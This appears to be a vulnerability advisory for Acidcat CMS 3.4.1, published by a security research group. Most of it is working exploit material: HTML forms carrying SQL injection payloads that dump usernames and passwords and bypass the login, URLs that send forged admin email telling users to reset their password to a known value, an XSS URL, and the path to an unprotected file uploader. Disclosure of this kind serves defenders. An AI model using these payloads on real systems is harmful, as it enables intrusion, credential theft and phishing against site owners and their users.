acidcat cms 3.4.1 - Multiple Vulnerabilities

                                                ########################## www.BugReport.ir #######################################
#
#      AmnPardaz Security Research Team
#
# Title: Acidcat CMS Multiple Vulnerabilities.
# Vendor: www.acidcat.com
# Vulnerable Version: 3.4.1
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/36
###################################################################################


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1. Description:
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Acidcat CMS is a web site and simple Content Management System that can be administered via a web browser.

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2. Vulnerability:
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    2.1. There is a SQL Injection in "default.asp". By using it, attacker can gain usernames and encrypted passwords.
        2.1.1. POC:
                Check the exploit section.
    2.2. There is a logical vulnerability in which attacker can send email by the site without any permission.
        2.2.1. POC:
                Check the exploit section.
    2.3. There is a SQL Injection in "main_login2.asp". By using it, attacker can login to the site.
        2.3.1. POC:
                Check the exploit section.
    2.4. There is a XSS in "/admin/admin_colors_swatch.asp".
        2.4.1. POC:
                /admin/admin_colors_swatch.asp?field=value='';}alert('XSS');function(){myForm.myText
    2.5. There is a FckEditor which has no permission, and attacker can upload his/her file.
        2.5.1. POC:
                /admin/fckeditor/editor/filemanager/connectors/test.html
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3. Exploits:
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 Original Exploit URL: http://bugreport.ir/index.php?/36/exploit

    3.1. Attacker can gain usernames and passwords:
    -------------
        <form action="http://[The URL]/default.asp?formType=&itemID=" method="post">
        <input type="text" name="cID" id="cID" value="-1 union select 1,username,3,password,5,6,7,8,9,10,'1-1-2000','1-1-2010' from ac_user" />
        <br />
        <input type="submit" value="Submit" />
        </form>

    -------------
    3.2. Attacker can send email without any permission:
     -------------
        default_mail_aspemail.asp? AcidcatSend=1&[email protected]&FromName=FakeAdmin&[email protected]&Subject=Forgery&Body=Change your password to 123456!

        default_mail_cdosys.asp? AcidcatSend=1&[email protected]&FromName=FakeAdmin&[email protected]&Subject=Forgery&Body=Change your password to 123456!

        default_mail_jmail.asp? AcidcatSend=1&[email protected]&FromName=FakeAdmin&[email protected]&Subject=Forgery&Body=Change your password to 123456!
    -------------
    3.3. Attacker can login to the site:
    -------------
        <form action="main_login2.asp" method="post">
        <input type="hidden" name="username" id="username" value="FooNot' union select 1,2,3,'%CE%10%C9%CE%AC%0F%F3%07A%91%8B%1B%9FF%2D%DF%EBcO%9Au%5F%28%80%A5%0D%D0%89%EA%EF%3E%BB%BDx%5F%0EM%7C%09%2C%B6s%9D%EAa%2FqX%7E%08%05%CAZ%26%1ET%10%CE' from ac_user where Username='1'or'1'='1'or'1'='1" size="200"/>
        <br />
        <input type="hidden" name="password" id="password" value="0" />
        <br />
        <input type="submit" value="Click To Login!" />
        </form>
    -------------
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4. Solution:
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    Edit the source code to ensure that inputs are properly sanitized.
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- Credit :
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AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

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